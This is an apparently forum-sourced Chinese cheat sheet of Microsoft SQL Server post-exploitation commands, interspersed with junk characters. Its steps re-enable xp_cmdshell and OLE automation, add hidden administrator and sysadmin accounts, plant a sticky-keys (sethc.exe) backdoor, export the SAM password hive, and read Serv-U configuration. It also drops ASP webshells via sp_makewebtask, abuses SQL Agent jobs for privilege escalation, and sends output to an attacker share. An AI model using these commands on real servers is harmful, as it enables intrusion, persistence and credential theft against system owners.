1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
& d+ w7 [* b4 {. n1 [恢复方法:查询分离器连接后,
+ P9 L& J# z5 |4 h) m* w第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 5 {8 w9 J! {0 X$ _1 @2 \8 c
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
* r9 @8 B# K5 a5 \' ?然后按F5键命令执行完毕
# ^9 |/ a0 |( Q) i- }
: [( Q: P. z+ T/ W2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
6 H- V) t, v; S, a1 A7 C! _( \3 ?恢复方法:查询分离器连接后,
: r. }6 \; S( B: S' f3 a5 r第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"( G* c4 \+ k; O, Y
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
# M3 D/ p& h0 z4 I9 U8 {7 d$ S然后按F5键命令执行完毕! m( g5 ~4 ]. H" ~ \# }* D/ D& k
6 C: {- E' `9 L% W$ W1 J6 g5 q3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
# }8 C) r( ?1 I- m N+ p" v恢复方法:查询分离器连接后,! L4 {+ s( v4 c6 `+ w9 K6 {1 v% G
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'3 U5 B6 ^2 | L; j+ I+ W
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
: s5 F3 V8 M! S Z/ \然后按F5键命令执行完毕" F5 ?; u% Z) ?% z% S
2 _) f: ^9 q6 e6 D' ^; x
4 终极方法.: z T @( J$ }2 c7 G" g2 j6 {
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
: X' w2 Y. e; k" Y X查询分离器连接后,
5 M9 E V% k5 M4 o7 l5 k- v2000servser系统:* k& K2 H7 \; s# E1 J2 ~
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
- x$ q1 W/ ~6 d& d7 X1 b8 ~9 a1 N
1 O4 k3 J$ {: edeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add', s0 P1 H0 _ S/ ^- w
3 r6 n5 }+ B5 ~7 s0 z3 pxp或2003server系统:
8 m3 q/ n1 i+ ~% n8 [. b/ u' y v; a; U4 O+ E, j" W* l1 a# x' O
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'5 m7 S* j: c- X
" o/ J* x' \' Y: R7 V2 q* edeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'* n: h( z4 M; r j, z
+ P( ^2 m" \/ P& s+ P* Z0 _# |
/ X, M+ j4 ]& B* e2 P
五个SHIFT
9 R. ^0 v" w" t3 ~3 D+ T1 g" [; Tdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
+ S6 w& z" s0 i
Q' [. X0 _4 `2 F: x1 x$ S7 Gdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; + v4 O) h1 a' n! f2 Q: W; |: Z+ g/ T
6 Y1 o, l! f# {* C0 i
xp_cmdshell执行命令另一种方法1 z7 E& M5 t; o1 L) J
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
7 _8 N4 W1 k( t+ v
! c9 S; w# v# J) V7 ]判断存储扩展是否存在
: G; I6 I" p% C2 {% ~" }( KSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
2 `1 F. t+ W8 ~- m! n1 h- ^1 F返回结果为1就OK
) }* e8 n1 a- l3 s7 {2 m5 X
8 N: y' u. X7 f5 Y& F. Q- u
' @7 k) {5 E e上传xplog70.dll恢复xp_cmdshell语句:
: c. w! a. Y; ]' O+ K2 Bsp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
- x m3 H/ [. Q) W7 h$ j% M* P/ t. s( W4 g- u
否则上传xplog7.0.dll' G$ ], {4 M. n; ~2 c0 J
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
$ R# q5 V0 }* E7 K9 ~$ n
( S+ \) b/ o1 x/ [7 S7 g
2 U1 Z4 G0 r. q, H- b' X6 w
1 Z3 P' K' u9 P# v9 c9 l4 d% C首先开启沙盘模式:8 L& X8 t. k/ R. }
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
: J/ N9 l# q3 n2 R, F; {1 C) T6 r; f$ {, f
然后利用jet.oledb执行系统命令9 Z" s) r6 m! T, V; y) T
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')5 j$ A& V }9 T/ s" M- [7 C
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
, |+ [! m) F! F' G, ~# H" O1 f0 _. B2 s# L
0 D) Q: o# d9 O( Z8 E. [+ g6 Y6 B1 k7 Y' v
恢复过程sp_addextendedproc 如下:
" U7 ]* y: ~; Jcreate procedure sp_addextendedproc --- 1996/08/30 20:13
7 V* P& N1 i+ z. ~( T- }0 m@functname nvarchar(517),/* (owner.)name of function to call */
9 u* Y& U% S+ }& O- \@dllname varchar(255)/* name of DLL containing function */ 3 m0 N' {, U+ [3 b
as
" ]6 Q7 L, b# eset implicit_transactions off
: J& b8 P; t2 g( oif @@trancount > 0
& U/ G; h3 I, L4 L& F, rbegin
c! ?6 `0 u9 F: u' g" u1 h/ b5 praiserror(15002,-1,-1,'sp_addextendedproc')
2 o) `- w0 m+ I4 O+ }return (1) 8 g) E8 J9 D. B; t. g
end
! O. ]' }$ ?, U" odbcc addextendedproc( @functname, @dllname) , L. B" S z" \2 L
return (0) -- sp_addextendedproc \, ? y) T* g6 Z! _# |. t2 n
GO
+ L# c/ K# x1 U4 X( Z, R) w. y6 j& M. L/ l: E' e9 `) Q! d4 C
) L# i5 ?/ y; n/ |
& `' c, L4 x# R' W导出管理员密码文件
$ h* @3 i! R3 ^sa默认可以读sam键.应该。
3 o$ d& H. T) A) {' Ereg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg( o. C2 G. f) v- N6 s
net user administrator test
' u6 Z6 M- Q5 C S) M: f, F$ _用administrator登陆." L" \& H3 B; {$ O
用完机器后" f1 T, O4 R; @: D
reg import c:\test.reg
3 f3 T* p: K/ U4 T3 V: Q根本不用克隆.
( K9 h& _: t( r找到对应的sid.
5 ]/ Z; z$ r! J, _8 [+ e3 F+ F+ t }. L( l. w" \8 q
7 y8 z5 x E6 A$ A7 a
5 s# _+ E! Y; w5 A$ f) l; S恢复所有存储过程
+ Y2 c# O8 A* D$ D* suse master
n7 \, h! Q% L! |# Gexec sp_addextendedproc xp_enumgroups,'xplog70.dll' 2 S$ x$ O' ^8 r8 N1 J
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' ! R! B( u7 Y D+ G( C& h1 }
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
: M6 t/ p* c: {* Pexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' S2 l, d3 f1 ~. s+ r9 x# K
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
+ b5 _' O4 y$ R0 V' Qexec sp_addextendedproc sp_OACreate,'odsole70.dll'
) f4 \1 N4 K7 B q I: Hexec sp_addextendedproc sp_OADestroy,'odsole70.dll' 4 b6 T- G" j9 P) X
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' ; w) ^5 M# r- l t, ~7 z
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' ' ^0 q* k4 R9 ~! b
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' ' Z$ L z( x s1 B" Q0 u
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' , @( L+ D8 E2 R# Y
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
; v. G# D+ {* U+ _9 l ?/ Pexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' , r/ Z) X4 R. h% V. j
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 0 h$ w+ N3 z0 J) Q6 N M- }; H: r
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
/ w- D- v1 H( W/ Cexec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
# }* C2 H0 @* B4 Xexec sp_addextendedproc xp_regread,'xpstar.dll' . T: T7 R+ U% P/ A+ @
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
6 v6 J/ l2 k' S* |exec sp_addextendedproc xp_regwrite,'xpstar.dll'
. v% i/ Z4 R9 I# zexec sp_addextendedproc xp_availablemedia,'xpstar.dll'
' \' x C9 U3 M3 T' {9 {' D
" j2 }' I/ N4 L9 P, z" R
4 Y4 o3 p5 P( J: q5 ^) x) v9 @* e; t建立读文件的存储过程
( I& ]) V; }$ X' O: ]Create proc sp_readTextFile @filename sysname
3 Q7 n0 ?2 m/ w1 N9 f" Has
( E: L/ j. W( V/ z. I1 V _4 R( ?4 q, T- f2 }, O; ]
begin
' r. k8 B% n1 t+ e6 |8 u/ V set nocount on " r2 {; e2 S! D* p
Create table #tempfile (line varchar(8000))( `5 d/ r0 t& M( D+ {, \. h
exec ('bulk insert #tempfile from "' + @filename + '"'); v4 A: v! H3 Q
select * from #tempfile
# G# t2 F) Y3 q9 j, Q# w drop table #tempfile) O, X# g+ e" m4 N+ T& \4 w- y+ N | f8 L
End
$ W$ N4 ]7 C x+ D
% L$ w7 d' g1 _2 Gexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
! \8 ^ K# d x查看登录用户. v$ Q! W9 Z- e n+ P
Select * from sysxlogins- O: p: p u) j, A( l
8 s: |( U* j1 p- T$ r把文件内容读取到表中
8 U" G& e* w2 Y$ [ SBULK INSERT tmp from "c:\test.txt"
% z( n& p' r8 X. G pdElete from 表名 清理表里的内容5 @0 M" d( `$ E4 z# L2 p
create table b_test(fn nvarchar(4000));建一个表,字段为fn0 ~" g# N" T/ S6 L
5 m( t( [% c8 J; E3 Z, T7 J* K) y3 _
) o! J0 T; q/ I% C6 m加sa用户; E7 Y' i) ?& z: k6 z$ q0 g! @2 n9 e3 C% j
exec master.dbo.sp_addlogin user,pass;
/ ^/ _3 m8 n1 t/ |7 c% H7 dexec master.dbo.sp_addsrvrolemember user,sysadmin
5 ~% U+ z" s+ o5 Q, ?4 ?+ y6 { {8 I1 i
9 n/ r$ `: ^% _4 J' b
^! @. `( ?4 t读文件代码
& F5 z! h1 _2 h1 i1 w$ Vdeclare @o int, @f int, @t int, @ret int
9 _4 R6 h0 B: b! a9 P& N5 b. Adeclare @line varchar(8000). A R# \5 z8 ~0 L8 D# V4 _$ z
exec sp_oacreate 'scripting.filesystemobject', @o out' b0 C G+ y4 V% F$ j& P7 w
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
; h6 r9 f# U: u" Oexec @ret = sp_oamethod @f, 'readline', @line out, |# ]' D- W6 ~/ a& K. c8 d
while( @ret = 0 )9 r4 @" {& m7 H: X" E6 J
begin
/ H3 Z) e4 l& h; q/ cprint @line# n2 T6 ~1 Q) N% `5 q5 ?+ I% g
exec @ret = sp_oamethod @f, 'readline', @line out+ P! [" E2 l' _1 V, _0 [0 t
end
8 x% ~5 h" n6 c" \
" H2 z/ |5 o4 H- ^% V0 B4 }1 z/ z3 V3 H
写文件代码:' g. {; o. v" ]- d5 w( |( N
declare @o int, @f int, @t int, @ret int
7 z& ^8 W S/ c+ Bexec sp_oacreate 'scripting.filesystemobject', @o out
9 O/ V' b1 k' U/ k. l+ {2 X: }exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1) s$ ^4 F! ^% X2 d' z6 z
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
( S/ c1 y& n0 D+ v% a
: o. g6 A; O: L: t# X3 w
( ]4 a7 V/ C, K( P. E添加lake2 shell. u0 W8 C& n+ e% Q: G! C2 A
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'$ J W/ M& I# Y6 m* q) a
sp_dropextendedproc xp_lake23 G7 J s7 G* ]8 l
EXEC xp_lake2 'net user'
8 p3 I' d: s* p! n& R% Z& I( {
6 d& }9 Y# C1 M, I9 c) |5 d; e+ ?4 F4 j; ?7 U, \- F' @
得到硬盘文件信息 & q6 l/ O3 ?7 n+ q- o' l2 V) d, |
--参数说明:目录名,目录深度,是否显示文件
+ x' a: Y y" V9 iexecute master..xp_dirtree 'c:' + o8 [. C y5 o) Y* l
execute master..xp_dirtree 'c:',1
5 Y/ t1 ]- V8 Z: S* ~9 i1 Q# \execute master..xp_dirtree 'c:',1,1
2 y8 f; g; C" d' o* C, q8 N$ n8 v& L' t) E
' b9 K1 V0 G6 n7 k8 S: f1 k+ }( U, c! J
读serv-u配置信息 f8 v7 q, g- c) K5 @
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'. l5 E( _2 G i! N9 ]
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
2 s9 X; {6 u9 Q1 ~) k9 s" ?7 N7 {; U& C5 ?. Z
通过xp_regwrite写SHIFT后门
5 J* V. D- y: C9 u+ y4 t0 `6 y: zexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--9 ~: t, J( l* o$ z* s; g
! H( U& q1 i4 n* j2 H8 p9 b! ~; e
- T4 x0 {, ?5 `% V9 m# W
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';5 C4 `9 @& _' l8 S+ ~% E' D& X/ T
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了, o0 O0 w+ M w! G0 ]+ q2 f
4 \2 s, f0 i& z, _; C# E7 p8 PEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'( x$ |2 j# t0 s
- ~# m4 f: I* ^2 X% F1 \7 J
7 k1 a2 p) l& D& S6 c1 G* [( o
( J/ F6 f9 U+ F9 E
sql server 2005下开启xp_cmdshell的办法. A; N5 \2 \ G" w, R
1 ]: V1 Q0 }9 h4 H
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
7 b! x& t; m, ]+ y0 K0 d$ y% N- G) e+ e: e. Q$ s
SQL2005开启'OPENROWSET'支持的方法:
. r8 P' T; W4 w" R1 ~
5 |. ^5 N3 x7 J# p8 lexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;2 S% B2 ^& I9 k d" h
) `3 i3 D4 y+ u8 CSQL2005开启'sp_oacreate'支持的方法:8 ~( c9 i( o ?$ D+ C9 [$ z
7 A8 b- K( V$ ~/ F& g/ u( Kexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
# C2 [! u* x# X$ s9 u# ~4 P! ^7 f+ r/ x7 k& @
5 G$ g* P/ _7 X# e: l6 s/ u4 U9 e/ F4 N
' O9 \8 M" F* r# _) G* i9 b; i
1 o6 [/ D& x2 k( N3 u0 ^* H. T* R) b! x- `1 w/ |3 C4 i8 I6 S
4 b s7 \% W9 W0 @! q" b% g1 I8 S, u8 p. w6 u
3 u6 d4 H% |! B- T0 C4 V5 c* B
6 K8 f/ c" N7 p# L! }& Y6 V1 h
( U* p( b' X: o7 L% {
7 G6 A7 ^4 A1 V/ }- o; {* x8 A; x% E2 n2 Z3 `) l+ I
' d1 T7 q3 [( f" B$ I
7 ?! A$ p6 U$ ^
) y; ]6 N- y2 O+ D
2 D$ }% w7 i0 f5 t. Q8 C; B0 }; C( q( U# Q( O& p
; c! `3 ]' | o5 V m" [
L. K) |/ Y5 U% I5 \6 I5 j
6 m# ]4 l" D3 N1 ?
: T0 c, o- F. k/ q" e3 t1 D ?% x2 s. Q* M' E6 G
" A0 N; i4 O, V# X$ {" `$ t+ C
以下方面不知道能不能成功暂且留下研究哈:
+ {: q) p( a( i" S- L2 e1 \$ X4)
! w8 w! p+ |( g4 x+ M+ luse msdb; --这儿不要是master哟% {8 ?( ]6 W# j# R
exec sp_add_job @job_name= czy82 ;* C8 |' p" _) V/ B
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;( Z6 n8 I3 l. |- Z
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
k, ^/ d. A7 |exec sp_start_job @job_name= czy82 ;
, o2 r/ T7 G n) p/ x- H2 c; W4 k2 R; P$ Z
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以0 p! K0 ^- Y; t" i M" C! [: C# k
执行tsql语句了.8 m$ c7 l% o# u* q3 M
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
, L' U. e- s$ D/ B, j5 Z& a9 K第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
: I$ H$ W+ `9 ^& Snet start SQLSERVERAGENT
0 W7 W; ]3 ]" a4 ^/ t* ?/ `% J6 B/ s
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
( }+ C( u/ l2 Y$ @7 r, V" G2 xUSE msdb5 N$ ~1 l ~4 i
EXEC sp_add_job @job_name = GetSystemOnSQL ,: P' R/ g# t1 U' ?
@enabled = 1,
; F+ ~2 D) M7 J) r* k+ E) j@description = This will give a low privileged user access to" ^& d I. f5 @# v7 |
xp_cmdshell ,& c! i4 } w& h" M: @6 V, f$ t$ m' i
@delete_level = 1
4 j! Z2 F1 n c9 LEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
, k- _4 l- q) S@step_name = Exec my sql ,/ s; T! q6 Y0 K. \4 u/ @! r: ^$ b
@subsystem = TSQL ,
1 o/ m; \# P, x7 c6 [@command = exec master..xp_execresultset N select exec+ Z N- K. u# e0 N2 }
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master , S) ]$ e( A- b2 I! P# l
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
; k' |9 f0 a( N. a@server_name = 你的SQL的服务器名 $ o/ W2 Q; S2 \/ ?/ ^& b$ n
EXEC sp_start_job @job_name = GetSystemOnSQL
8 F7 v# m+ O3 u8 f" z! z5 `. w3 v9 I& H& f
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
. |2 O& P h7 N/ n# z0 B才让我们可以以public执行xp_cmdshell& z2 F/ R2 h: \9 c+ X
( B- M8 h! a- n1 ]6 f5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
% R! W0 Y9 Z, V8 ^在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
% y0 r- T% b. x! @6 Q3 h: R" J! z0 [- V$ [9 i" ^
USE msdb! _) p1 ]# P5 E
EXEC sp_add_job @job_name = ArbitraryFilecreate ,# f1 N4 H5 }( f. u+ p# L) H* C
@enabled = 1,
& e0 D; h* E+ H. n2 A. Y2 G@description = This will create a file called c:\sqlafc123.txt ,
$ Y4 {( l+ I# v; X@delete_level = 1& v+ W- R, B' R
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
: o' A4 M9 v6 K5 h$ b@step_name = SQLAFC ,6 q" p2 b4 J" |$ u- v% B; W2 u
@subsystem = TSQL ,
( m E) Q- g, {@command = select hello, this file was created by the SQL Agent. ,0 Q& w+ K, S% V# y: X8 ^0 N. R
@output_file_name = c:\sqlafc123.txt
" W; R" k" {1 cEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
r- T# n. w" Z* M/ A# ~@server_name = SERVER_NAME ( L6 u3 m- ]2 ?6 W* F
EXEC sp_start_job @job_name = ArbitraryFilecreate
) U5 `5 x8 e/ m' R
4 z) E+ k- a/ G. A4 ]/ J" v- A如果subsystem选的是:tsql,在生成的文件的头部有如下内容
; @' a6 ?) v0 z! n2 [! E8 R2 J, U$ o+ }( ]$ F( _2 N
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19& Z* i+ P7 a* U! e( S. a
----------------------------------------------! H3 I# \+ r# {. g" W) ?
hello, this file was created by the SQL Agent.
5 {( k' ?7 c* V9 z' x$ U
. j2 {: m" U: I. ]' ~" ^, R& E$ s(1 ?????)/ n9 _ E5 I' e3 h" C% `/ U( G
' a1 P: ]; H) Q6 A2 h$ J q0 T所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员0 Z- [2 D7 g: }3 Z$ J8 S' ?" s
命令的vbs文件到启动目录!0 t. M4 ?! |6 ?
3 ]. y3 j' F' _: f2 J
6)关于sp_makewebtask(可以写任意内容任意文件名的文件) P! U6 P( p% I9 \
关于sp_MScopyscriptfile 看下面的例子
* W: Q' N0 V4 {, xdeclare @command varchar(100) ! g" n+ n% U0 J6 `% w$ H; J# i
declare @scripfile varchar(200) - B( X- c& V* R; W3 Z) a
set concat_null_yields_null off
. J5 J2 e9 Z$ j! Cselect @command= dir c:\ > "\\attackerip\share\dir.txt"
+ D0 `; z- x8 C0 a5 w/ U! {2 Xselect @scripfile= c:\autoexec.bat > nul" | @command | rd " ; t0 x6 x: r. t( s& M" ^) ~& y1 n
exec sp_MScopyscriptfile @scripfile ,
6 T! `: C0 d4 M6 z) v6 F
8 G9 ~1 m9 ]3 J. C& C7 M! o这两个东东都还在测试试哟
' c5 V- c6 M" K* b( C让MSSQL的public用户得到一个本机的web shell 8 }* l6 W6 z- M" H; O
! D: L6 y2 g" x$ V# N6 A+ q
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,8 @( o( K3 Z. a
--@query= select <img src=vbscript:msgbox(now())> 1 r8 B* B4 G) A6 {. y0 D* I* x# s
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
2 z5 v2 m9 X0 j! i! D1 X3 R2 T@query= select
; ]' X& r2 A2 T# y! k<%On Error Resume Next
* y2 a( V/ s2 k1 m) JSet oscript = Server.createObject("wscript.SHELL")
9 b/ W: i7 M+ G" g3 {# }6 I$ GSet oscriptNet = Server.createObject("wscript.NETWORK")
4 Z8 I* l/ Q+ F) b* x* cSet oFileSys = Server.createObject("scripting.FileSystemObject")
+ _ V6 z6 T) e5 TszCMD = Request.Form(".CMD")
, Q) g. N P( F$ P2 m" F( N6 z4 LIf (szCMD <>"")Then
p [# d0 j' Y9 A. mszTempFile = "C:\" & oFileSys.GetTempName() 5 y6 d, i6 Y! o
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) & c. ]' \& u' u- l
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
q) J" z6 W0 ~ t6 N0 c w$ hEnd If %> 8 Z( w+ Z* E( ?. n1 i2 M
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST">
+ V4 l6 }$ O4 v/ R2 S8 `6 o<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> ' p4 W9 J: L. i9 Z
</FORM>< RE>
! r7 Y9 C( c9 @% w<% If (IsObject(oFile))Then
% y( x8 _" d; i, UOn Error Resume Next
9 T* ?/ x3 q( M, k% V" oResponse.Write Server.HTMLEncode(oFile.ReadAll)
5 v5 p L5 U/ k/ koFile.Close
0 ]3 e5 `8 @# {* ~: b fCall oFileSys.deleteFile(szTempFile, True)
; P; @, ~' Y; C7 X- A5 [4 l% pEnd If%>
9 s! j9 d, n* M# s4 ?5 V& G/ X! w0 s$ Q3 `2 f</BODY></HTML> - u- i D' `5 ~4 }
|